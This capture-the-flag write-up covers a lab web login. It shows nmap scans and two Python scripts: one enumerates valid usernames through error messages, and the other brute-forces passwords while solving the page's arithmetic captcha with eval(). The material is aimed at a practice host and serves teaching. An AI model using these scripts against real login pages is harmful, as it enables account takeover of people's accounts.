┌──(kali㉿kali)-[~]
└─$ nmap -p- capture.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-25 10:52 IST
Nmap scan report for capture.thm (10.10.61.60)
Host is up (0.15s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 116.29 seconds
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p 80 capture.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-25 11:16 IST
Nmap scan report for capture.thm (10.10.61.60)
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug/2.2.2 Python/3.8.10
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was /login
|_http-server-header: Werkzeug/2.2.2 Python/3.8.10
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Tue, 25 Jun 2024 05:46:47 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Tue, 25 Jun 2024 05:46:40 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 199
| Location: /login
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="/login">/login</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.8.10
| Date: Tue, 25 Jun 2024 05:46:41 GMT
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, GET, OPTIONS
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94SVN%I=7%D=6/25%Time=667A59C2%P=x86_64-pc-linux-gnu%r(G
....
SF:x20spelling\x20and\x20try\x20again\.</p>\n");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.71 seconds
It reveals just the port 80 running a http server.
Upon visiting the site we are greeted with a login page.
The error message "Error: The user ‘rachel’ does not exist" allows us to enumerate valid usernames within the application, which violates the OWASP Authentication Guidelines.
The first step is to enumerate the usernames. Once we identify a valid username, we can proceed to brute force the corresponding password.
Capturing Existing Users
Currently, we have identified two error messages to handle: If we receive a captcha but fail to solve it, we encounter the error "Error: Invalid captcha". Alternatively, entering an incorrect username with the correct captcha results in the error message "Error: The user ‘USERNAME’ does not exist."
We need to include the variables username, password, and captcha in an HTTP POST request.
To extract the error messages and captcha, regex can be used. Crafting regex patterns can be challenging, but tools like regex101 make it easier:
Regex for retrieving captchas: [0-9]{1,3}\s[+-*:/]\s[0-9]{1,3}
Regex for retrieving error messages non existing user: The user '.*' does not exist.
But we need to URL encode it.
The user '.*' does not exist"
Username_Check.py
import requests
import re
_url = 'http://capture.thm/login'
_captcha_regex = r"[0-9]{1,3}\s[+\-*:\/]\s[0-9]{1,3}"
_error_user_regex = r"The user '.*' does not exist"
# Load usernames from file
with open('usernames.txt') as f:
users = [line.strip() for line in f]
valid_users = []
for username in users:
# Start with an invalid request to retrieve the captcha
initial_response = requests.get(_url)
captcha = re.findall(_captcha_regex, initial_response.text)
if captcha:
captcha_result = eval(captcha[0])
else:
print(f"Could not find captcha for user {username}")
continue
# Craft data for login attempt
data = {
'username': username,
'password': 'static_password', # Replace with actual password if known
'captcha': captcha_result
}
# Send the login POST request
response = requests.post(_url, data=data)
text = response.text
# Check if the user exists based on the error message
if not re.findall(_error_user_regex, text):
valid_users.append(username)
print("Valid users:", valid_users)
Running our script takes a second and we get the user natalie.
Capturing the Right Password
Let's begin by submitting the username "natalie" with a valid captcha to observe and capture the error message related to an invalid password. This will help us craft a suitable regex pattern to detect this specific error.
For finding the correct password, we can reuse our previous loop with slight modifications.
final.py
import requests
import re
# URL and file paths
_url = 'http://capture/login'
_path_users_file = 'usernames.txt'
_path_passwords_file = 'passwords.txt'
# Regex patterns for error messages
_error_user_regex = r"The user '.*' does not exist"
_error_password_regex = r"Invalid password for user '.*'"
_error_captcha_regex = r"Invalid captcha"
_captcha_regex = r"[0-9]{1,3}\s[+\-*:/]\s[0-9]{1,3}"
# Initial data for login attempt
_initial_data = {'username': 'football', 'password': 'rachel', 'captcha': 0}
def retrieve_captcha(session):
"""Function to retrieve and evaluate captcha."""
response = session.post(_url, _initial_data)
text = response.text
captchas = re.findall(_captcha_regex, text)
return eval(captchas[0])
def find_valid_users():
"""Function to find valid usernames."""
valid_users = []
with open(_path_users_file) as f:
users = [line.rstrip() for line in f]
session = requests.Session()
for username in users:
captcha_result = retrieve_captcha(session)
data = {'username': username, 'password': 'rachel', 'captcha': captcha_result}
response = session.post(_url, data=data)
text = response.text
if not re.findall(_error_user_regex, text) and not re.findall(_error_captcha_regex, text):
valid_users.append(username)
return valid_users
def brute_force_passwords(valid_users):
"""Function to brute-force passwords for valid users."""
with open(_path_passwords_file) as f:
passwords = [line.rstrip() for line in f]
session = requests.Session()
for valid_user in valid_users:
for password in passwords:
captcha_result = retrieve_captcha(session)
data = {'username': valid_user, 'password': password, 'captcha': captcha_result}
response = session.post(_url, data=data)
text = response.text
if not re.findall(_error_password_regex, text) and not re.findall(_error_captcha_regex, text):
print(f"Valid credentials found: {valid_user}:{password}")
print(text)
return
# Main execution
if __name__ == "__main__":
valid_users = find_valid_users()
print(f"Valid usernames found: {valid_users}")
brute_force_passwords(valid_users)
We can login with the credentials and check the flag.